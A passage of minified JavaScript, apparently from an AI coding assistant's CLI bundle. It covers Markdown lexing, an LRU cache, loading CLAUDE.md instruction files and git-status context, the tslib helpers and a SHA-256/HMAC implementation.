\-]+\.?)+[^\s<]*|^email/,"i").replace("email",/[A-Za-z0-9._+-]+(@)[a-zA-Z0-9-_]+(?:\.[a-zA-Z0-9-_]*[a-zA-Z0-9])+(?![-_])/).getRegex(),_backpedal:/(?:[^?!.,:;*_'"~()&]+|\([^)]*\)|&(?![a-zA-Z0-9]+;$)|[?!.,:;*_'"~)]+(?!$))+/,del:/^(~~?)(?=[^\s~])((?:\\.|[^\\])*?(?:\\.|[^\s~\\]))\1(?=[^~]|$)/,text:/^([`~]+|[^`~])(?:(?= {2,}\n)|(?=[a-zA-Z0-9.!#$%&'*+\/=?_`{\|}~-]+@)|[\s\S]*?(?:(?=[\\<!\[`*~_]|\b_|https?:\/\/|ftp:\/\/|www\.|$)|[^ ](?= {2,}\n)|[^a-zA-Z0-9.!#$%&'*+\/=?_`{\|}~-](?=[a-zA-Z0-9.!#$%&'*+\/=?_`{\|}~-]+@)))/},fR9={...sY6,br:Nz(bu4).replace("{2,}","*").getRegex(),text:Nz(sY6.text).replace("\\b_","\\b_| {2,}\\n").replace(/\{2,\}/g,"*").getRegex()},oY1={normal:q26,gfm:eL9,pedantic:AR9},LSA={normal:z26,gfm:sY6,breaks:fR9,pedantic:VR9},NR9={"&":"&","<":"<",">":">",'"':""","'":"'"};ISA=class ISA{options;block;constructor(A){this.options=A||N7A}static passThroughHooks=new Set(["preprocess","postprocess","processAllTokens"]);preprocess(A){return A}postprocess(A){return A}processAllTokens(A){return A}provideLexer(){return this.block?jM.lex:jM.lexInline}provideParser(){return this.block?KC.parse:KC.parseInline}};f7A=new Qu4;sY.options=sY.setOptions=function(A){return f7A.setOptions(A),sY.defaults=f7A.defaults,yu4(sY.defaults),sY};sY.getDefaults=tY6;sY.defaults=N7A;sY.use=function(...A){return f7A.use(...A),sY.defaults=f7A.defaults,yu4(sY.defaults),sY};sY.walkTokens=function(A,K){return f7A.walkTokens(A,K)};sY.parseInline=f7A.parseInline;sY.Parser=KC;sY.parser=KC.parse;sY.Renderer=hSA;sY.TextRenderer=eY1;sY.Lexer=jM;sY.lexer=jM.lex;sY.Tokenizer=SSA;sY.Hooks=ISA;sY.parse=sY;gMw=sY.options,FMw=sY.setOptions,QMw=sY.use,UMw=sY.walkTokens,pMw=sY.parseInline,dMw=KC.parse,cMw=jM.lex});import{normalize as K21}from"path";class Uu4{cache;constructor(A,K){this.cache=new Ty({max:A,maxSize:K,sizeCalculation:(q)=>Math.max(1,Buffer.byteLength(q.content))})}get(A){return this.cache.get(K21(A))}set(A,K){return this.cache.set(K21(A),K),this}has(A){return this.cache.has(K21(A))}delete(A){return this.cache.delete(K21(A))}clear(){this.cache.clear()}get size(){return this.cache.size}get max(){return this.cache.max}get maxSize(){return this.cache.maxSize}get calculatedSize(){return this.cache.calculatedSize}keys(){return this.cache.keys()}entries(){return this.cache.entries()}dump(){return this.cache.dump()}load(A){this.cache.load(A)}}function zU(A,K=ER9){return new Uu4(A,K)}function pu4(A){return Object.fromEntries(A.entries())}function py(A){return Array.from(A.keys())}function v7A(A){let K=zU(A.max,A.maxSize);return K.load(A.dump()),K}function F$A(A,K){let q=v7A(A);for(let[Y,z]of K.entries()){let w=q.get(Y);if(!w||z.timestamp>w.timestamp)q.set(Y,z)}return q}var T7A=100,ER9=26214400;var hD=k(()=>{$yA()});import{join as bT,parse as kR9,dirname as q21,relative as CR9,isAbsolute as LR9,basename as aMw,sep as sMw,extname as RR9}from"path";function cu4(A){return HU(A,V8())}function SR9(A){let{frontmatter:K,content:q}=J_(A);if(!K.paths)return{content:q};let Y=qh4(K.paths).map((z)=>{return z.endsWith("/**")?z.slice(0,-3):z}).filter((z)=>z.length>0);if(Y.length===0||Y.every((z)=>z==="**"))return{content:q};return{content:q,paths:Y}}function lu4(A,K){try{let q=BA();if(!q.existsSync(A)||!q.statSync(A).isFile())return null;let Y=RR9(A).toLowerCase();if(Y&&!IR9.has(Y))return h(`Skipping non-text file in @include: ${A}`),null;let z=q.readFileSync(A,{encoding:"utf-8"}),{content:w,paths:H}=SR9(z);return{path:A,type:K,content:w,globs:H}}catch(q){if(q instanceof Error&&q.message.includes("EACCES"))n("tengu_claude_md_permission_error",{is_access_error:1,has_home_dir:A.includes(w8())?1:0})}return null}function hR9(A,K){let q=new Set,z=new jM({gfm:!1}).lex(A);function w(H){for(let J of H){if(J.type==="code"||J.type==="codespan")continue;if(J.type==="text"){let O=J.text||"",X=/(?:^|\s)@((?:[^\s\\]|\\ )+)/g,$;while(($=X.exec(O))!==null){let _=$[1];if(!_)continue;if(_=_.replace(/\\ /g," "),_){if(_.startsWith("./")||_.startsWith("~/")||_.startsWith("/")&&_!=="/"||!_.startsWith("@")&&!_.match(/^[#%^&*()]+/)&&_.match(/^[a-zA-Z0-9._-]/)){let Z=x7(_,q21(K));q.add(Z)}}}}if(J.tokens)w(J.tokens);if(J.items)w(J.items)}}return w(z),[...q]}function qC(A,K,q,Y,z=0,w){if(q.has(A)||z>=bR9)return[];let{resolvedPath:H,isSymlink:J}=sJ(BA(),A);if(q.add(A),J)q.add(H);let O=lu4(A,K);if(!O||!O.content.trim())return[];if(w)O.parent=w;let X=[];X.push(O);let $=hR9(O.content,H);for(let _ of $){if(!cu4(_)&&!Y)continue;let Z=qC(_,K,q,Y,z+1,A);X.push(...Z)}return X}function E7A({rulesDir:A,type:K,processedPaths:q,includeExternal:Y,conditionalRule:z,visitedDirs:w=new Set}){if(w.has(A))return[];try{let H=BA();if(!H.existsSync(A)||!H.statSync(A).isDirectory())return[];let{resolvedPath:J,isSymlink:O}=sJ(H,A);if(w.add(A),O)w.add(J);let X=[],$=H.readdirSync(J);for(let _ of $){let G=bT(A,_.name),{resolvedPath:Z,isSymlink:W}=sJ(H,G),D=W?H.statSync(Z):null,j=D?D.isDirectory():_.isDirectory(),M=D?D.isFile():_.isFile();if(j)X.push(...E7A({rulesDir:Z,type:K,processedPaths:q,includeExternal:Y,conditionalRule:z,visitedDirs:w}));else if(M&&_.name.endsWith(".md")){let P=qC(Z,K,q,Y);X.push(...P.filter((f)=>z?f.globs:!f.globs))}}return X}catch(H){if(H instanceof Error&&H.message.includes("EACCES"))n("tengu_claude_rules_md_permission_error",{is_access_error:1,has_home_dir:A.includes(w8())?1:0});return[]}}function k7A(){return t0().filter((A)=>A.content.length>wU)}function C7A(){return null}function H26(){return[]}function iu4(A,K){let q=[],Y=O26();if(q.push(...Y21(A,Y,"Managed",K,!1)),t$("userSettings")){let z=X26();q.push(...Y21(A,z,"User",K,!0))}return q}function nu4(A,K,q){let Y=[];if(t$("projectSettings")){let H=bT(A,"CLAUDE.md");Y.push(...qC(H,"Project",q,!1));let J=bT(A,".claude","CLAUDE.md");Y.push(...qC(J,"Project",q,!1))}if(t$("localSettings")){let H=bT(A,"CLAUDE.local.md");Y.push(...qC(H,"Local",q,!1))}let z=bT(A,".claude","rules"),w=new Set(q);Y.push(...E7A({rulesDir:z,type:"Project",processedPaths:w,includeExternal:!1,conditionalRule:!1})),Y.push(...Y21(K,z,"Project",q,!1));for(let H of w)q.add(H);return Y}function ru4(A,K,q){let Y=bT(A,".claude","rules");return Y21(K,Y,"Project",q,!1)}function Y21(A,K,q,Y,z){return E7A({rulesDir:K,type:q,processedPaths:Y,includeExternal:z,conditionalRule:!0}).filter((H)=>{if(!H.globs||H.globs.length===0)return!1;let J=q==="Project"?q21(q21(K)):V8(),O=LR9(A)?CR9(J,A):A;return du4.default().add(H.globs).ignores(O)})}function xSA(){let A=[];for(let K of t0(!0))if(K.type!=="User"&&K.parent&&!cu4(K.path))A.push({path:K.path,parent:K.parent});return A}function J26(){return xSA().length>0}async function ou4(){let A=Z2();if(A.hasClaudeMdExternalIncludesApproved||A.hasClaudeMdExternalIncludesWarningShown)return!1;return J26()}var du4,yR9="Codebase and user instructions are shown below. Be sure to adhere to these instructions. IMPORTANT: These instructions OVERRIDE any default behavior and you MUST follow them exactly as written.",wU=40000,Q$A=3000,IR9,bR9=5,t0,w26=()=>{let A=t0(),K=[];for(let q of A)if(q.content){let Y=q.type==="Project"?" (project instructions, checked into the codebase)":q.type==="Local"?" (user's private project instructions, not checked in)":" (user's private global instructions for all projects)";K.push(`Contents of ${q.path}${Y}: ${q.content}`)}if(K.length===0)return"";return`${yR9} ${K.join(` `)}`};var gZ=k(()=>{p7();q6();e6();Oz();l1();A21();GJ();Xz();i6();l6();nQ();hD();Z1();dj();du4=o(CSA(),1),IR9=new Set([".md",".txt",".text",".json",".yaml",".yml",".toml",".xml",".csv",".html",".htm",".css",".scss",".sass",".less",".js",".ts",".tsx",".jsx",".mjs",".cjs",".mts",".cts",".py",".pyi",".pyw",".rb",".erb",".rake",".go",".rs",".java",".kt",".kts",".scala",".c",".cpp",".cc",".cxx",".h",".hpp",".hxx",".cs",".swift",".sh",".bash",".zsh",".fish",".ps1",".bat",".cmd",".env",".ini",".cfg",".conf",".config",".properties",".sql",".graphql",".gql",".proto",".vue",".svelte",".astro",".ejs",".hbs",".pug",".jade",".php",".pl",".pm",".lua",".r",".R",".dart",".ex",".exs",".erl",".hrl",".clj",".cljs",".cljc",".edn",".hs",".lhs",".elm",".ml",".mli",".f",".f90",".f95",".for",".cmake",".make",".makefile",".gradle",".sbt",".rst",".adoc",".asciidoc",".org",".tex",".latex",".lock",".log",".diff",".patch"]);t0=z6((A=!1)=>{let K=Date.now();v8("info","memory_files_started");let q=[],Y=new Set,z=Z2(),w=A||z.hasClaudeMdExternalIncludesApproved||!1,H=qu("Managed");q.push(...qC(H,"Managed",Y,w));let J=O26();if(q.push(...E7A({rulesDir:J,type:"Managed",processedPaths:Y,includeExternal:w,conditionalRule:!1})),t$("userSettings")){let $=qu("User");q.push(...qC($,"User",Y,!0));let _=X26();q.push(...E7A({rulesDir:_,type:"User",processedPaths:Y,includeExternal:!0,conditionalRule:!1}))}let O=[],X=V8();while(X!==kR9(X).root)O.push(X),X=q21(X);for(let $ of O.reverse()){if(t$("projectSettings")){let _=bT($,"CLAUDE.md");q.push(...qC(_,"Project",Y,w));let G=bT($,".claude","CLAUDE.md");q.push(...qC(G,"Project",Y,w));let Z=bT($,".claude","rules");q.push(...E7A({rulesDir:Z,type:"Project",processedPaths:Y,includeExternal:w,conditionalRule:!1}))}if(t$("localSettings")){let _=bT($,"CLAUDE.local.md");q.push(...qC(_,"Local",Y,w))}}if(P1(process.env.CLAUDE_CODE_ADDITIONAL_DIRECTORIES_CLAUDE_MD)){let $=Qr6();for(let _ of $){let G=bT(_,"CLAUDE.md");q.push(...qC(G,"Project",Y,w));let Z=bT(_,".claude","CLAUDE.md");q.push(...qC(Z,"Project",Y,w));let W=bT(_,".claude","rules");q.push(...E7A({rulesDir:W,type:"Project",processedPaths:Y,includeExternal:w,conditionalRule:!1}))}}return v8("info","memory_files_completed",{duration_ms:Date.now()-K,file_count:q.length,total_content_length:q.reduce(($,_)=>$+_.content.length,0)}),q})});var $26=40000,_26,e0,AX;var YC=k(()=>{C1();gZ();p7();Jw();CK();dj();l6();_26=z6(async()=>{let A=Date.now();v8("info","git_status_started");let K=Date.now(),q=await AD();if(v8("info","git_is_git_check_completed",{duration_ms:Date.now()-K,is_git:q}),!q)return v8("info","git_status_skipped_not_git",{duration_ms:Date.now()-A}),null;try{let Y=Date.now(),[z,w,H,J]=await Promise.all([R6("git",["branch","--show-current"],{preserveOutputOnError:!1}).then(({stdout:X})=>X.trim()),R6("git",["rev-parse","--abbrev-ref","origin/HEAD"],{preserveOutputOnError:!1}).then(({stdout:X})=>X.replace("origin/","").trim()),R6("git",["status","--short"],{preserveOutputOnError:!1}).then(({stdout:X})=>X.trim()),R6("git",["log","--oneline","-n","5"],{preserveOutputOnError:!1}).then(({stdout:X})=>X.trim())]);v8("info","git_commands_completed",{duration_ms:Date.now()-Y,status_length:H.length});let O=H.length>$26?H.substring(0,$26)+` ... (truncated because it exceeds 40k characters. If you need more information, run "git status" using BashTool)`:H;return v8("info","git_status_completed",{duration_ms:Date.now()-A,truncated:H.length>$26}),`This is the git status at the start of the conversation. Note that this status is a snapshot in time, and will not update during the conversation. Current branch: ${z} Main branch (you will usually use this for PRs): ${w} Status: ${O||"(clean)"} Recent commits: ${J}`}catch(Y){return v8("error","git_status_failed",{duration_ms:Date.now()-A}),KA(Y instanceof Error?Y:Error(String(Y))),null}}),e0=z6(async()=>{let A=Date.now();v8("info","system_context_started");let K=P1(process.env.CLAUDE_CODE_REMOTE)?null:await _26();return v8("info","system_context_completed",{duration_ms:Date.now()-A,has_git_status:K!==null}),{...K?{gitStatus:K}:{}}}),AX=z6(async()=>{let A=Date.now();v8("info","user_context_started");let K=process.env.CLAUDE_CODE_DISABLE_CLAUDE_MDS,q=K?null:w26();return v8("info","user_context_completed",{duration_ms:Date.now()-A,claudemd_length:q?.length??0,claudemd_disabled:Boolean(K)}),{...q?{claudeMd:q}:{}}})});var Z26=v((NPw,w21)=>{/*! ***************************************************************************** Copyright (c) Microsoft Corporation. Permission to use, copy, modify, and/or distribute this software for any purpose with or without fee is hereby granted. THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. ***************************************************************************** */var au4,su4,tu4,eu4,AB4,KB4,qB4,YB4,zB4,z21,G26,wB4,HB4,U$A,JB4,OB4,XB4,$B4,_B4,GB4,ZB4,WB4,DB4;(function(A){var K=typeof global==="object"?global:typeof self==="object"?self:typeof this==="object"?this:{};if(typeof define==="function"&&define.amd)define("tslib",["exports"],function(Y){A(q(K,q(Y)))});else if(typeof w21==="object"&&typeof NPw==="object")A(q(K,q(NPw)));else A(q(K));function q(Y,z){if(Y!==K)if(typeof Object.create==="function")Object.defineProperty(Y,"__esModule",{value:!0});else Y.__esModule=!0;return function(w,H){return Y[w]=z?z(w,H):H}}})(function(A){var K=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(q,Y){q.__proto__=Y}||function(q,Y){for(var z in Y)if(Y.hasOwnProperty(z))q[z]=Y[z]};au4=function(q,Y){K(q,Y);function z(){this.constructor=q}q.prototype=Y===null?Object.create(Y):(z.prototype=Y.prototype,new z)},su4=Object.assign||function(q){for(var Y,z=1,w=arguments.length;z<w;z++){Y=arguments[z];for(var H in Y)if(Object.prototype.hasOwnProperty.call(Y,H))q[H]=Y[H]}return q},tu4=function(q,Y){var z={};for(var w in q)if(Object.prototype.hasOwnProperty.call(q,w)&&Y.indexOf(w)<0)z[w]=q[w];if(q!=null&&typeof Object.getOwnPropertySymbols==="function"){for(var H=0,w=Object.getOwnPropertySymbols(q);H<w.length;H++)if(Y.indexOf(w[H])<0&&Object.prototype.propertyIsEnumerable.call(q,w[H]))z[w[H]]=q[w[H]]}return z},eu4=function(q,Y,z,w){var H=arguments.length,J=H<3?Y:w===null?w=Object.getOwnPropertyDescriptor(Y,z):w,O;if(typeof Reflect==="object"&&typeof Reflect.decorate==="function")J=Reflect.decorate(q,Y,z,w);else for(var X=q.length-1;X>=0;X--)if(O=q[X])J=(H<3?O(J):H>3?O(Y,z,J):O(Y,z))||J;return H>3&&J&&Object.defineProperty(Y,z,J),J},AB4=function(q,Y){return function(z,w){Y(z,w,q)}},KB4=function(q,Y){if(typeof Reflect==="object"&&typeof Reflect.metadata==="function")return Reflect.metadata(q,Y)},qB4=function(q,Y,z,w){function H(J){return J instanceof z?J:new z(function(O){O(J)})}return new(z||(z=Promise))(function(J,O){function X(G){try{_(w.next(G))}catch(Z){O(Z)}}function $(G){try{_(w.throw(G))}catch(Z){O(Z)}}function _(G){G.done?J(G.value):H(G.value).then(X,$)}_((w=w.apply(q,Y||[])).next())})},YB4=function(q,Y){var z={label:0,sent:function(){if(J[0]&1)throw J[1];return J[1]},trys:[],ops:[]},w,H,J,O;return O={next:X(0),throw:X(1),return:X(2)},typeof Symbol==="function"&&(O[Symbol.iterator]=function(){return this}),O;function X(_){return function(G){return $([_,G])}}function $(_){if(w)throw TypeError("Generator is already executing.");while(z)try{if(w=1,H&&(J=_[0]&2?H.return:_[0]?H.throw||((J=H.return)&&J.call(H),0):H.next)&&!(J=J.call(H,_[1])).done)return J;if(H=0,J)_=[_[0]&2,J.value];switch(_[0]){case 0:case 1:J=_;break;case 4:return z.label++,{value:_[1],done:!1};case 5:z.label++,H=_[1],_=[0];continue;case 7:_=z.ops.pop(),z.trys.pop();continue;default:if((J=z.trys,!(J=J.length>0&&J[J.length-1]))&&(_[0]===6||_[0]===2)){z=0;continue}if(_[0]===3&&(!J||_[1]>J[0]&&_[1]<J[3])){z.label=_[1];break}if(_[0]===6&&z.label<J[1]){z.label=J[1],J=_;break}if(J&&z.label<J[2]){z.label=J[2],z.ops.push(_);break}if(J[2])z.ops.pop();z.trys.pop();continue}_=Y.call(q,z)}catch(G){_=[6,G],H=0}finally{w=J=0}if(_[0]&5)throw _[1];return{value:_[0]?_[1]:void 0,done:!0}}},DB4=function(q,Y,z,w){if(w===void 0)w=z;q[w]=Y[z]},zB4=function(q,Y){for(var z in q)if(z!=="default"&&!Y.hasOwnProperty(z))Y[z]=q[z]},z21=function(q){var Y=typeof Symbol==="function"&&Symbol.iterator,z=Y&&q[Y],w=0;if(z)return z.call(q);if(q&&typeof q.length==="number")return{next:function(){if(q&&w>=q.length)q=void 0;return{value:q&&q[w++],done:!q}}};throw TypeError(Y?"Object is not iterable.":"Symbol.iterator is not defined.")},G26=function(q,Y){var z=typeof Symbol==="function"&&q[Symbol.iterator];if(!z)return q;var w=z.call(q),H,J=[],O;try{while((Y===void 0||Y-- >0)&&!(H=w.next()).done)J.push(H.value)}catch(X){O={error:X}}finally{try{if(H&&!H.done&&(z=w.return))z.call(w)}finally{if(O)throw O.error}}return J},wB4=function(){for(var q=[],Y=0;Y<arguments.length;Y++)q=q.concat(G26(arguments[Y]));return q},HB4=function(){for(var q=0,Y=0,z=arguments.length;Y<z;Y++)q+=arguments[Y].length;for(var w=Array(q),H=0,Y=0;Y<z;Y++)for(var J=arguments[Y],O=0,X=J.length;O<X;O++,H++)w[H]=J[O];return w},U$A=function(q){return this instanceof U$A?(this.v=q,this):new U$A(q)},JB4=function(q,Y,z){if(!Symbol.asyncIterator)throw TypeError("Symbol.asyncIterator is not defined.");var w=z.apply(q,Y||[]),H,J=[];return H={},O("next"),O("throw"),O("return"),H[Symbol.asyncIterator]=function(){return this},H;function O(W){if(w[W])H[W]=function(D){return new Promise(function(j,M){J.push([W,D,j,M])>1||X(W,D)})}}function X(W,D){try{$(w[W](D))}catch(j){Z(J[0][3],j)}}function $(W){W.value instanceof U$A?Promise.resolve(W.value.v).then(_,G):Z(J[0][2],W)}function _(W){X("next",W)}function G(W){X("throw",W)}function Z(W,D){if(W(D),J.shift(),J.length)X(J[0][0],J[0][1])}},OB4=function(q){var Y,z;return Y={},w("next"),w("throw",function(H){throw H}),w("return"),Y[Symbol.iterator]=function(){return this},Y;function w(H,J){Y[H]=q[H]?function(O){return(z=!z)?{value:U$A(q[H](O)),done:H==="return"}:J?J(O):O}:J}},XB4=function(q){if(!Symbol.asyncIterator)throw TypeError("Symbol.asyncIterator is not defined.");var Y=q[Symbol.asyncIterator],z;return Y?Y.call(q):(q=typeof z21==="function"?z21(q):q[Symbol.iterator](),z={},w("next"),w("throw"),w("return"),z[Symbol.asyncIterator]=function(){return this},z);function w(J){z[J]=q[J]&&function(O){return new Promise(function(X,$){O=q[J](O),H(X,$,O.done,O.value)})}}function H(J,O,X,$){Promise.resolve($).then(function(_){J({value:_,done:X})},O)}},$B4=function(q,Y){if(Object.defineProperty)Object.defineProperty(q,"raw",{value:Y});else q.raw=Y;return q},_B4=function(q){if(q&&q.__esModule)return q;var Y={};if(q!=null){for(var z in q)if(Object.hasOwnProperty.call(q,z))Y[z]=q[z]}return Y.default=q,Y},GB4=function(q){return q&&q.__esModule?q:{default:q}},ZB4=function(q,Y){if(!Y.has(q))throw TypeError("attempted to get private field on non-instance");return Y.get(q)},WB4=function(q,Y,z){if(!Y.has(q))throw TypeError("attempted to set private field on non-instance");return Y.set(q,z),z},A("__extends",au4),A("__assign",su4),A("__rest",tu4),A("__decorate",eu4),A("__param",AB4),A("__metadata",KB4),A("__awaiter",qB4),A("__generator",YB4),A("__exportStar",zB4),A("__createBinding",DB4),A("__values",z21),A("__read",G26),A("__spread",wB4),A("__spreadArrays",HB4),A("__await",U$A),A("__asyncGenerator",JB4),A("__asyncDelegator",OB4),A("__asyncValues",XB4),A("__makeTemplateObject",$B4),A("__importStar",_B4),A("__importDefault",GB4),A("__classPrivateFieldGet",ZB4),A("__classPrivateFieldSet",WB4)})});var W26=v((jB4)=>{Object.defineProperty(jB4,"__esModule",{value:!0});jB4.MAX_HASHABLE_LENGTH=jB4.INIT=jB4.KEY=jB4.DIGEST_LENGTH=jB4.BLOCK_SIZE=void 0;jB4.BLOCK_SIZE=64;jB4.DIGEST_LENGTH=32;jB4.KEY=new Uint32Array([1116352408,1899447441,3049323471,3921009573,961987163,1508970993,2453635748,2870763221,3624381080,310598401,607225278,1426881987,1925078388,2162078206,2614888103,3248222580,3835390401,4022224774,264347078,604807628,770255983,1249150122,1555081692,1996064986,2554220882,2821834349,2952996808,3210313671,3336571891,3584528711,113926993,338241895,666307205,773529912,1294757372,1396182291,1695183700,1986661051,2177026350,2456956037,2730485921,2820302411,3259730800,3345764771,3516065817,3600352804,4094571909,275423344,430227734,506948616,659060556,883997877,958139571,1322822218,1537002063,1747873779,1955562222,2024104815,2227730452,2361852424,2428436474,2756734187,3204031479,3329325298]);jB4.INIT=[1779033703,3144134277,1013904242,2773480762,1359893119,2600822924,528734635,1541459225];jB4.MAX_HASHABLE_LENGTH=Math.pow(2,53)-1});var fB4=v((PB4)=>{Object.defineProperty(PB4,"__esModule",{value:!0});PB4.RawSha256=void 0;var zC=W26(),gR9=function(){function A(){this.state=Int32Array.from(zC.INIT),this.temp=new Int32Array(64),this.buffer=new Uint8Array(64),this.bufferLength=0,this.bytesHashed=0,this.finished=!1}return A.prototype.update=function(K){if(this.finished)throw Error("Attempted to update an already finished hash.");var q=0,Y=K.byteLength;if(this.bytesHashed+=Y,this.bytesHashed*8>zC.MAX_HASHABLE_LENGTH)throw Error("Cannot hash more than 2^53 - 1 bits");while(Y>0)if(this.buffer[this.bufferLength++]=K[q++],Y--,this.bufferLength===zC.BLOCK_SIZE)this.hashBuffer(),this.bufferLength=0},A.prototype.digest=function(){if(!this.finished){var K=this.bytesHashed*8,q=new DataView(this.buffer.buffer,this.buffer.byteOffset,this.buffer.byteLength),Y=this.bufferLength;if(q.setUint8(this.bufferLength++,128),Y%zC.BLOCK_SIZE>=zC.BLOCK_SIZE-8){for(var z=this.bufferLength;z<zC.BLOCK_SIZE;z++)q.setUint8(z,0);this.hashBuffer(),this.bufferLength=0}for(var z=this.bufferLength;z<zC.BLOCK_SIZE-8;z++)q.setUint8(z,0);q.setUint32(zC.BLOCK_SIZE-8,Math.floor(K/4294967296),!0),q.setUint32(zC.BLOCK_SIZE-4,K),this.hashBuffer(),this.finished=!0}var w=new Uint8Array(zC.DIGEST_LENGTH);for(var z=0;z<8;z++)w[z*4]=this.state[z]>>>24&255,w[z*4+1]=this.state[z]>>>16&255,w[z*4+2]=this.state[z]>>>8&255,w[z*4+3]=this.state[z]>>>0&255;return w},A.prototype.hashBuffer=function(){var K=this,q=K.buffer,Y=K.state,z=Y[0],w=Y[1],H=Y[2],J=Y[3],O=Y[4],X=Y[5],$=Y[6],_=Y[7];for(var G=0;G<zC.BLOCK_SIZE;G++){if(G<16)this.temp[G]=(q[G*4]&255)<<24|(q[G*4+1]&255)<<16|(q[G*4+2]&255)<<8|q[G*4+3]&255;else{var Z=this.temp[G-2],W=(Z>>>17|Z<<15)^(Z>>>19|Z<<13)^Z>>>10;Z=this.temp[G-15];var D=(Z>>>7|Z<<25)^(Z>>>18|Z<<14)^Z>>>3;this.temp[G]=(W+this.temp[G-7]|0)+(D+this.temp[G-16]|0)}var j=(((O>>>6|O<<26)^(O>>>11|O<<21)^(O>>>25|O<<7))+(O&X^~O&$)|0)+(_+(zC.KEY[G]+this.temp[G]|0)|0)|0,M=((z>>>2|z<<30)^(z>>>13|z<<19)^(z>>>22|z<<10))+(z&w^z&H^w&H)|0;_=$,$=X,X=O,O=J+j|0,J=H,H=w,w=z,z=j+M|0}Y[0]+=z,Y[1]+=w,Y[2]+=H,Y[3]+=J,Y[4]+=O,Y[5]+=X,Y[6]+=$,Y[7]+=_},A}();PB4.RawSha256=gR9});var vB4=v((NB4)=>{Object.defineProperty(NB4,"__esModule",{value:!0});NB4.toUtf8=NB4.fromUtf8=void 0;var FR9=(A)=>{let K=[];for(let q=0,Y=A.length;q<Y;q++){let z=A.charCodeAt(q);if(z<128)K.push(z);else if(z<2048)K.push(z>>6|192,z&63|128);else if(q+1<A.length&&(z&64512)===55296&&(A.charCodeAt(q+1)&64512)===56320){let w=65536+((z&1023)<<10)+(A.charCodeAt(++q)&1023);K.push(w>>18|240,w>>12&63|128,w>>6&63|128,w&63|128)}else K.push(z>>12|224,z>>6&63|128,z&63|128)}return Uint8Array.from(K)};NB4.fromUtf8=FR9;var QR9=(A)=>{let K="";for(let q=0,Y=A.length;q<Y;q++){let z=A[q];if(z<128)K+=String.fromCharCode(z);else if(192<=z&&z<224){let w=A[++q];K+=String.fromCharCode((z&31)<<6|w&63)}else if(240<=z&&z<365){let H="%"+[z,A[++q],A[++q],A[++q]].map((J)=>J.toString(16)).join("%");K+=decodeURIComponent(H)}else K+=String.fromCharCode((z&15)<<12|(A[++q]&63)<<6|A[++q]&63)}return K};NB4.toUtf8=QR9});var CB4=v((EB4)=>{Object.defineProperty(EB4,"__esModule",{value:!0});EB4.toUtf8=EB4.fromUtf8=void 0;function pR9(A){return new TextEncoder().encode(A)}EB4.fromUtf8=pR9;function dR9(A){return new TextDecoder("utf-8").decode(A)}EB4.toUtf8=dR9});var D26=v((yB4)=>{Object.defineProperty(yB4,"__esModule",{value:!0});yB4.toUtf8=yB4.fromUtf8=void 0;var LB4=vB4(),RB4=CB4(),lR9=(A)=>typeof TextEncoder==="function"?(0,RB4.fromUtf8)(A):(0,LB4.fromUtf8)(A);yB4.fromUtf8=lR9;var iR9=(A)=>typeof TextDecoder==="function"?(0,RB4.toUtf8)(A):(0,LB4.toUtf8)(A);yB4.toUtf8=iR9});var bB4=v((SB4)=>{Object.defineProperty(SB4,"__esModule",{value:!0});SB4.convertToBuffer=void 0;var rR9=D26(),oR9=typeof Buffer<"u"&&Buffer.from?function(A){return Buffer.from(A,"utf8")}:rR9.fromUtf8;function aR9(A){if(A instanceof Uint8Array)return A;if(typeof A==="string")return oR9(A);if(ArrayBuffer.isView(A))return new Uint8Array(A.buffer,A.byteOffset,A.byteLength/Uint8Array.BYTES_PER_ELEMENT);return new Uint8Array(A)}SB4.convertToBuffer=aR9});var BB4=v((xB4)=>{Object.defineProperty(xB4,"__esModule",{value:!0});xB4.isEmptyData=void 0;function sR9(A){if(typeof A==="string")return A.length===0;return A.byteLength===0}xB4.isEmptyData=sR9});var FB4=v((mB4)=>{Object.defineProperty(mB4,"__esModule",{value:!0});mB4.numToUint8=void 0;function tR9(A){return new Uint8Array([(A&4278190080)>>24,(A&16711680)>>16,(A&65280)>>8,A&255])}mB4.numToUint8=tR9});var pB4=v((QB4)=>{Object.defineProperty(QB4,"__esModule",{value:!0});QB4.uint32ArrayFrom=void 0;function eR9(A){if(!Uint32Array.from){var K=new Uint32Array(A.length),q=0;while(q<A.length)K[q]=A[q],q+=1;return K}return Uint32Array.from(A)}QB4.uint32ArrayFrom=eR9});var dB4=v((p$A)=>{Object.defineProperty(p$A,"__esModule",{value:!0});p$A.uint32ArrayFrom=p$A.numToUint8=p$A.isEmptyData=p$A.convertToBuffer=void 0;var Ay9=bB4();Object.defineProperty(p$A,"convertToBuffer",{enumerable:!0,get:function(){return Ay9.convertToBuffer}});var Ky9=BB4();Object.defineProperty(p$A,"isEmptyData",{enumerable:!0,get:function(){return Ky9.isEmptyData}});var qy9=FB4();Object.defineProperty(p$A,"numToUint8",{enumerable:!0,get:function(){return qy9.numToUint8}});var Yy9=pB4();Object.defineProperty(p$A,"uint32ArrayFrom",{enumerable:!0,get:function(){return Yy9.uint32ArrayFrom}})});var nB4=v((lB4)=>{Object.defineProperty(lB4,"__esModule",{value:!0});lB4.Sha256=void 0;var cB4=Z26(),J21=W26(),H21=fB4(),j26=dB4(),wy9=function(){function A(K){this.secret=K,this.hash=new H21.RawSha256,this.reset()}return A.prototype.update=function(K){if((0,j26.isEmptyData)(K)||this.error)return;try{this.hash.update((0,j26.convertToBuffer)(K))}catch(q){this.error=q}},A.prototype.digestSync=function(){if(this.error)throw this.error;if(this.outer){if(!this.outer.finished)this.outer.update(this.hash.digest());return this.outer.digest()}return this.hash.digest()},A.prototype.digest=function(){return cB4.__awaiter(this,void 0,void 0,function(){return cB4.__generator(this,function(K){return[2,this.digestSync()]})})},A.prototype.reset=function(){if(this.hash=new H21.RawSha256,this.secret){this.outer=new H21.RawSha256;var K=Hy9(this.secret),q=new Uint8Array(J21.BLOCK_SIZE);q.set(K);for(var Y=0;Y<J21.BLOCK_SIZE;Y++)K[Y]^=54,q[Y]^=92;this.hash.update(K),this.outer.update(q);for(var 